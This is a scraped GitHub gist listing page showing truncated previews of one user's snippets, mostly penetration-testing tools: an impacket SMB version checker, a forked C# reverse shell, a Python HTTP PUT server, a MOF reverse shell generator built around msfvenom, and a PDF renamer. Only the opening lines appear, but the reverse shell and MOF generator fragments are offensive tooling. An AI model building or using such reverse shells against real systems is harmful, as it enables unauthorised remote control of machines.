Skip to content

Instantly share code, notes, and snippets.

xax007 /
Last active Nov 29, 2018
Get smb server version via impacket when smbclient or other smb enumerate tools(eg. enum4linux) can not get it.
#!/usr/bin/env python
# Copyright (c) 2003-2018 CORE Security Technologies
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
# Description: Mini shell using some of the SMB funcionality of the library
# Author:
xax007 / Simple_Rev_Shell.cs
Created Nov 18, 2018 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
View Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
xax007 /
Created Nov 17, 2018
Python HTTP PUT Server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class PUTHandler(BaseHTTPRequestHandler):
def do_PUT(self):
length = int(self.headers['Content-Length'])
xax007 /
Last active Nov 10, 2018
Generate reverse shell mof file via msfvenom
import sys
import string
import random
def add_vbs_to_mof(vbs_code):
random_class_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)][:6]).title()
mof_template = "#pragma namespace (\"\\\\\\\\.\\\\root\\\\subscription\")\n" \
"\n" \
"class MyReverseShellMofClass \n" \
xax007 /
Created Nov 10, 2018
Python - Change the pdf file name from 'blahblah-abc.pdf' to 'Abc-blahblah.pdf'
import os
def main():
for root, dirs, files in os.walk(os.getcwd()):
for file in files:
filename, file_extension = os.path.splitext(file)
if file_extension.startswith('.pdf'):
# change pdf files filename from 'blahblah-abc' to 'Abc-blahblah'
new_filename = filename.split('-')[1].title() + '-' + filename.split('-')[0]